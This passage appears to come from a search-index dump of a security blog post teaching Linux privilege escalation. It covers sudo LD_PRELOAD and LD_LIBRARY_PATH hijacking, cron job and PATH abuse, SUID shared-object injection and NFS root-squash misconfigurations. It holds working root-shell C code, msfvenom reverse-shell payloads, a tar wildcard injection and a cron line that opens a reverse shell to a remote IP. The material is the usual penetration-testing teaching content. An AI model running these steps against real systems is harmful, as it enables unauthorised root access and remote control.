3\u0026gt; Matching Defaults entries for user on this host: 4\u0026gt; env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH, env_keep+=LD_LIBRARY_PATH If LD_PRELOAD is set, we can create a simple c program to load when running sudo:\n1#include \u0026lt;stdio.h\u0026gt; 2#include \u0026lt;sys/types.h\u0026gt; 3#include \u0026lt;stdlib.h\u0026gt; 4 5void _init() { 6 unsetenv(\u0026#34;LD_PRELOAD\u0026#34;); 7 setresuid(0,0,0); 8 system(\u0026#34;/bin/bash -p\u0026#34;); 9} Compile the c program and run the program that we are allowed to run as sudo:\n1gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c 2# fPIC is used for x64 architecture 3 4sudo LD_PRELOAD=/tmp/preload.so find If LD_LIBRARY_PATH is set, we can create a file in this path the be ran:\n1ldd /usr/sbin/apache2 2 3\u0026gt;linux-vdso.so.1 =\u0026gt; (0x00007fff03f1c000) 4\u0026gt;libpcre.so.3 =\u0026gt; /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f61f68fe000) 5\u0026gt;[…] 6# we can see that /lib/libcrypto.so.1 is loaded 7\u0026gt;libcrypt.so.1 =\u0026gt; /lib/libcrypt.so.1 (0x00007f61f58d4000) Create a library_path.c program:\n1#include \u0026lt;stdio.h\u0026gt; 2#include \u0026lt;stdlib.h\u0026gt; 3 4static void hijack() __attribute__((constructor)); 5 6void hijack () { 7 unsetenv(\u0026#34;LD_LIBRARY_PATH\u0026#34;); 8 setresuid(0,0,0); 9 system(\u0026#34;/bin/bash -p\u0026#34;); 10} After which we compile the code, set the LD_LIBRARY_PATH to the current working directory and run a program as sudo:\n1gcc -o libcrypt.so.1 -shared -fPIC library_path.c 2 3sudo LD_LIBRARY_PATH=. apache2 Cron Jobs Cron jobs are jobs that run periodically on unix-based systems. When cron jobs are ran by a high-privileged user and the file that it executes is writeable, we can use it to escalate privileges. Default locations for cron jobs:\n/var/spool/cron /var/spool/cron/crontabs /etc/crontab We can view the contents of the crontab:\n1cat /etc/crontab 2 3\u0026gt; * * * * * root overwrite.sh 4\u0026gt; * * * * * root /usr/local/bin/compress.sh We locate the overwrite.sh and check if we can write to it. If so, we alter the payload and wait for the cronjob to execute the file:\n1locate overwrite.sh 2\u0026gt; /usr/local/bin/overwrite.sh 3 4ls -l /usr/local/bin/overwrite.sh 5\u0026gt; world writeable 6 7echo \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.0.0.1/1337 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt; /usr/local/bin/overwrite.sh The crontab PATH environment variable is by default set to /usr/bin:/bin. We can exploit the PATH environment variable in the following case:\nThe PATH in the /etc/crontab variable specifies a path in which we as a user can write files to, and: When the cron job does not specify the full path to the file it will run. In this case, we can write to the \u0026quot;/home/user\u0026quot; directory, and the cron job PATH is specified as the following:\n1PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin We can create a reverse shell or SUID version of bash called \u0026quot;overwrite.sh\u0026quot; in the \u0026quot;/home/user\u0026quot; directory and wait for the cronjob to execute:\n1#!/bin/bash 2cp /bin/bash /tmp/rootbash 3chmod +s /tmp/rootbash 4 5./rootbash -p Is there a wildcard character used by a cronjob or other file that contains a wildcard character such as an asterisk? Check gtfobins for the specific program and see if we can spawn a shell. Cronjob example that is vulnerable:\n1#!/bin/sh 2cd /home/user 3tar czf /tmp/backup.tar.gz * Check GTFOBins on how to exploit it:\n1msfvenom -p linux/x64/shell_reverse_tcp LHOST=\u0026lt;ip\u0026gt; LPORT=\u0026lt;port\u0026gt; -f elf -o shell.elf 2 3touch ./--checkpoint=1 4touch ./--checkpoint-action=exec=shell.elf SUID / SGID Executables SUID and SGID executables can be used in unix-based systems to execute a program with the effective permissions of the file owner or file group. If an out-of-the-ordinary SUID or GUID executable is found, it is possible that it can be used to execute malicious commands as root. Find files with SUID/SGID bits set:\n1find / -type f -a \\( -perm -u+s -o -perm -g+s \\) -exec ls -l {} \\; 2\u0026gt; /dev/null If an entry is found, GTFOBins can be used to look up whether the executable is known to be vulnerable for privilege escalation.\nShared Object Injection When a program is executed, it will try to load the shared objects it requires. By using a program called strace, we can track these system calls and determine whether any shared objects were not found. If we can write to the location the program tries to open, we can create a shared object and spawn a root shell when it is loaded. Example:\n1user@debian:~$ /usr/local/bin/suid-so 2 3\u0026gt; Calculating something, please wait... 4\u0026gt; [=====================================================================\u0026gt;] 99 % 5\u0026gt; Done. If we check for any missing shared objects, we can inject one ourselves:\n1strace /usr/local/bin/suid-so 2\u0026gt;\u0026amp;1 | grep -iE \u0026#34;open|access|no such file\u0026#34; 2 3\u0026gt; […] 4\u0026gt; open(\u0026#34;/home/user/.config/libcalc.so\u0026#34;, O_RDONLY) = -1 ENOENT (No such file or directory) We see it tries to execute /home/user/.config/libcalc.so, so we create the directory it tries to access and write a c program to it that will be executed on run-time:\n1#include \u0026lt;stdio.h\u0026gt; 2#include \u0026lt;stdlib.h\u0026gt; 3 4static void inject() __attribute__((constructor)); 5 6void inject() { 7 setuid(0); 8 system(\u0026#34;/bin/bash -p\u0026#34;); 9} After which we compile the program and run the executable to get a root shell:\n1gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/.config/libcalc.c 2 3user@debian:~$ /usr/local/bin/suid-so If a program tries to execute another program, the name of that program is likely embedded in the executable file as a string. We can run strings on the executable file to find strings of characters. We can also use strace to see how the program is executing.\n1ls -lah /usr/local/bin/suid-env 2\u0026gt; -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env 3 4strings /usr/local/bin/suid-env 5 6\u0026gt;[…] 7\u0026gt; service apache2 start 8\u0026gt;[…] We see that apache2 is started in the process. We can figure out exactly how the service is executed by running the following command:\n1strace -v -f -e execve \u0026#34;service apache2 start\u0026#34; 2\u0026gt;\u0026amp;1 | grep service 2 3\u0026gt; [pid 25982] execve(\u0026#34;/bin/sh\u0026#34;, [\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;service apache2 start\u0026#34;], […] The service is executed via sh, and does not use a full path. We can create a file called service and let it be executed prior to executing the apache2 service. We create service.c:\n1int main() { 2 3setuid(0); 4system(\u0026#34;/bin/bash -p\u0026#34;); 5 6} We compile the program and append our current directory to the path variable:\n1gcc -o service service.c 2 3PATH=.:$PATH /usr/local/bin/suid-env When we execute the executable, we get a root shell.\nPasswords and Keys Passwords and keys are often saved in configuration files in order to be utilized by programs and executables. We should always check the filesystem for such files. Some interesting files to take a look at are the following:\nHistory files Unix-based systems generate bash history files that contain the history of the issued commands on the system. These commands can possibly contain sensitive information. Config files Web applications, databases and other programs leverage credentials to run, which are often saved in the configuration files of these programs. SSH keys In order to use SSH, private and public keys are saved in the .ssh directory of a specific user. NFS NFS shares are configured in the /etc/exports file. Remote users can mount shares, access, create and modify files. By default, created files inherit the remote user's ID and GUID (as owner and group respectively), even if they don't exist on the NFS server. We can enumerate and mount NFS shares using the following commands:\n1showmount -e \u0026lt;target\u0026gt; 2nmap --sV --script=nfs-showmount \u0026lt;target\u0026gt; 3mount -o rw,vers=2 \u0026lt;target\u0026gt;:\u0026lt;share\u0026gt; \u0026lt;local_directory\u0026gt; Root Squashing is how NFS prevents an obvious privilege escalation. If the remote user is (or claims to be) root (UID=0), NFS will instead “squash” the user and treat them as if they are the “nobody” user, in the “nogroup” group. While this behavior is default, it can be disabled! An example of an exploitable rootsquash configuration:\n1cat /etc/exports 2 3\u0026gt;[…] 4\u0026gt;/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check) 5\u0026gt;[…] From an attacker machine we can then create the /tmp/nfs directory and mount the share, after which we execute the binary from the victim machine:\n1# attack machine 2mkdir /tmp/nfs 3mount -o rw,vers=1 10.10.10.10:/tmp /tmp/nfs 4 5sudo msfvenom -p linux/x86/exec CMD=\u0026#34;/bin/bash -p\u0026#34; -f elf -o /tmp/nfs/shell.elf 6 7chmod +xs /tmp/nfs/shell.elf 8 9# victim machine: 10/tmp/shell.elf Kernel Exploits If all other ways of privilege escalation fail, a kernel exploit can be leveraged. In order to find a kernel exploit that works on the given operating system, we need to enumerate the kernel version. For this we can issue the following command:\n1uname -a 2 3\u0026gt; Linux ABC007 2.6.32-573.3.1.el6.x86_64 #1 SMP Mon Aug 10 09:44:54 EDT 2015 x86_64 x86_64 x86_64 GNU/Linux Which tells us the following:\nkernel: Linux Network node hostname: ABC007 Kernel release: 2.6.32-573.3.1.el6.x86_64 Kernel version: #1 SMP Mon Aug 10 09:44:54 EDT 2015 Machine hardware name: x86_64 Processor type: x86_64 Hardware platform: x86_64 Operating system: GNU/Linux We can then look for exploits related to the kernel release.\nBesides manual enumeration, we can also run the linux-exploit-suggester-2.pl script, available here. The script can be ran with our without parameters.\n1./linux-exploit-suggester-2.pl -k 2.6.32 If a known vulnerability for the specific kernel version is available, the tool will display it. As this script only looks for exploits known by the script, manual enumeration should always be conducted as well.\n","link":"https://aegrah.github.io/post/2022-02-17-linux-privilege-escalation.html","section":"post","tags":["Privilege Escalation","Linux"],"title":"Linux Privilege Escalation Techniques"},{"body":"","link":"https://aegrah.github.io/series.html","section":"series","tags":null,"title":"Series"}]